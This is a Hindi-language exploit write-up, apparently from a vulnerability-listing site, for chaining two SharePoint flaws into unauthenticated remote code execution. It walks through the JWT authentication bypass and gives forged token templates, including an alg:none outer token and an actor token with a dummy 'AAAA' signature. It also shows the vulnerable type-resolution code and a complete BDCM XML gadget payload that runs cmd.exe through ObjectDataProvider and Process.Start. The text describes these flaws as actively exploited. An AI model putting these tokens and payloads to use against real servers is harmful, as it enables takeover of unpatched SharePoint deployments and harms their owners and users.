CVE-2026-63520 SharePoint असुरक्षित प्रकार RCE + CVE-2026-55040 श्रृंखला

Microsoft SharePoint सर्वर पर बिना प्रमाणीकरण के RCE। किसी क्रेडेंशियल की आवश्यकता नहीं है।

Stephen Fewer (Rapid7) ने Pwn2Own Berlin 2026 में CVE-2026-55040 का प्रदर्शन किया। Rapid7 ने फिर अनुवर्ती शोध के दौरान CVE-2026-63520 की खोज की, और VulnCheck ने स्वतंत्र रूप से एक वैकल्पिक गैजेट श्रृंखला पाई। साथ में, ये दो बग आपको इंटरनेट पर किसी भी बिना पैच वाले SharePoint के खिलाफ बिना प्रमाणीकरण के रिमोट कोड निष्पादन देते हैं।

CISA ने PoC जारी होने के कुछ ही घंटों के भीतर अलर्ट जारी किए। इसका वास्तविक दुनिया में शोषण हो रहा है।

यह क्या करता है

दो बग, एक श्रृंखला:

CVE	प्रकार	CVSS	क्या टूटता है
CVE-2026-55040	JWT प्रमाणीकरण बाईपास	9.1	SharePoint की S2S टोकन सत्यापन में चार स्वतंत्र कमजोरियाँ हैं। उन्हें जोड़कर आप किसी भी उपयोगकर्ता के लिए एक वैध JWT जाली बना सकते हैं - जिसमें साइट व्यवस्थापक भी शामिल हैं - उनका पासवर्ड जाने बिना।
CVE-2026-63520	असुरक्षित .NET प्रकार इंस्टेंटिएशन → RCE	8.1	Business Data Connectivity (BDC) अपलोड किए गए XML से किसी भी .NET प्रकार के नाम को बिना किसी अनुमति सूची के हल करता है। इसे `ObjectDataProvider` पर इंगित करें और आपको `Process.Start()` मिलता है।

अकेले कोई भी बग दिलचस्प नहीं है। CVE-2026-63520 को प्रमाणीकरण की आवश्यकता है। CVE-2026-55040 आपको प्रमाणीकरण देता है। साथ में: SharePoint सेवा खाते के रूप में बिना प्रमाणीकरण के RCE।

बग 1: JWT बाईपास (CVE-2026-55040)

SharePoint सर्वर-से-सर्वर (S2S) प्रमाणीकरण के लिए नेस्टेड JWT का उपयोग करता है। एक बाहरी टोकन उपयोगकर्ता की पहचान रखता है, एक आंतरिक "एक्टर टोकन" कॉलिंग एप्लिकेशन का प्रतिनिधित्व करता है। SPJsonWebSecurityTokenHandlerV2.ValidateToken() में चार कमजोरियाँ पूरी चीज़ को ध्वस्त कर देती हैं:

कमजोरी 1 - हस्ताक्षर सत्यापन बंद है। वैलिडेटर RequireSignedTokens = false सेट करता है। बाहरी टोकन alg: none स्वीकार करता है। कोई हस्ताक्षर आवश्यक नहीं है।

कमजोरी 2 - सत्यापन के बिना x5t समाधान। एक्टर टोकन की हस्ताक्षर कुंजी को प्रमाणपत्र स्टोर में x5t (प्रमाणपत्र थंबप्रिंट) हेडर देखकर हल किया जाता है। SharePoint कभी जाँच नहीं करता कि एक्टर टोकन का हस्ताक्षर वास्तव में उस कुंजी से मेल खाता है या नहीं।

कमजोरी 3 - जारीकर्ता सत्यापन अज्ञात प्रमाणपत्र स्वीकार करता है। ValidateIssuer() पास हो जाता है यदि हस्ताक्षर प्रमाणपत्र TrustedSecurityTokenServices संग्रह में नहीं है। SharePoint का अपना STS प्रमाणपत्र वहाँ पंजीकृत नहीं है। इसलिए इसे x5t के माध्यम से संदर्भित करना बिना शर्त जारीकर्ता सत्यापन पास करता है।

कमजोरी 4 - गैर-क्रिप्टोग्राफिक हस्ताक्षर जाँच। GetTokenSignature() के लिए एक गैर-खाली स्ट्रिंग की आवश्यकता होती है लेकिन शून्य क्रिप्टोग्राफिक सत्यापन करता है। कोई भी मान काम करता है। AAAA काम करता है।

STS प्रमाणपत्र सार्वजनिक है। आप इसे /_layouts/15/metadata/json/1 से प्राप्त करते हैं - एक बिना प्रमाणीकरण वाला एंडपॉइंट - SHA-1 थंबप्रिंट की गणना करें, और आपके पास वह सब कुछ है जो आपको चाहिए।

जाली टोकन कैसा दिखता है

बाहरी टोकन (उपयोगकर्ता की पहचान रखता है):

// हेडर
{"alg": "none", "typ": "JWT"}

// पेलोड
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<लक्ष्य SID या UPN>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<आंतरिक JWT>"
}
// हस्ताक्षर: खाली (alg:none)

आंतरिक एक्टर टोकन ("एप्लिकेशन" का प्रतिनिधित्व करता है):

// हेडर
{"alg": "RS256", "typ": "JWT", "x5t": "<STS प्रमाणपत्र थंबप्रिंट>"}

// पेलोड
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// हस्ताक्षर: "AAAA" (शाब्दिक रूप से कुछ भी गैर-खाली)

पहचान चुनने के तीन तरीके:

मोड	`nameid`	`nii`	आपको क्या चाहिए
SID	`S-1-5-21-...-1605`	`urn:office:idp:activedirectory`	डोमेन SID (SMB नल सत्र के माध्यम से) + RID ब्रूट
UPN	`upn_bypass` + `upn` दावा	`urn:office:idp:activedirectory`	एक वैध UPN (जैसे `[email protected]`)
AccessToken	`0#.w\|nt authority\local service`	`AccessToken`	कुछ नहीं। सीमित पहुँच लेकिन कुछ श्रृंखलाओं के लिए पर्याप्त।

बग 2: RCE (CVE-2026-63520)

SharePoint की Business Data Connectivity सेवा व्यवस्थापकों को BDC मॉडल XML फ़ाइलों (.bdcm) के माध्यम से बाहरी डेटा स्रोत परिभाषित करने देती है। ये मॉडल .NET प्रकार निर्दिष्ट करते हैं जिन्हें BDC रनटाइम पर इंस्टेंटिएट करता है।

समस्या DbTypeReflector.ResolveDotNetType() में है:

// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // GAC में कोई भी प्रकार

15 वर्णों से कम के प्रकार के नाम एक सुरक्षित रिज़ॉल्वर से गुजरते हैं। इससे लंबा कुछ भी सीधे Type.GetType() को कॉल करता है - जो ग्लोबल असेंबली कैश से किसी भी असेंबली-योग्य प्रकार के नाम को हल करता है। कोई अनुमति सूची नहीं। कोई ब्लॉकलिस्ट नहीं। हमलावर BDCM XML के माध्यम से abstractTypeName को नियंत्रित करता है।

गैजेट श्रृंखला

हम PresentationFramework से System.Windows.Data.ObjectDataProvider का उपयोग करते हैं। जब आप इसकी ObjectInstance संपत्ति सेट करते हैं, यह उस इंस्टेंस पर MethodName को लागू करता है। MethodName = "Start" और ObjectInstance = System.Diagnostics.Process को एक क्राफ्टेड StartInfo के साथ सेट करें, और BDC की संपत्ति-सेटर रिफ्लेक्शन बाकी करती है:

ObjectDataProvider बनाया गया
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <पेलोड>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → संपत्ति सेटर QueryWorker() ट्रिगर करता है
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

BDCM XML जो इसे ले जाता है:

<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck ने DotNetAssembly LobSystem के माध्यम से TypeConfuseDelegate डिसीरियलाइज़ेशन के साथ System.Web.UI.LosFormatter का उपयोग करके एक वैकल्पिक श्रृंखला का दस्तावेजीकरण किया। कई गैजेट काम करते हैं - अंतर्निहित प्रिमिटिव अप्रतिबंधित प्रकार इंस्टेंटिएशन है।

सबसे लोकप्रिय

CVE-2026-63520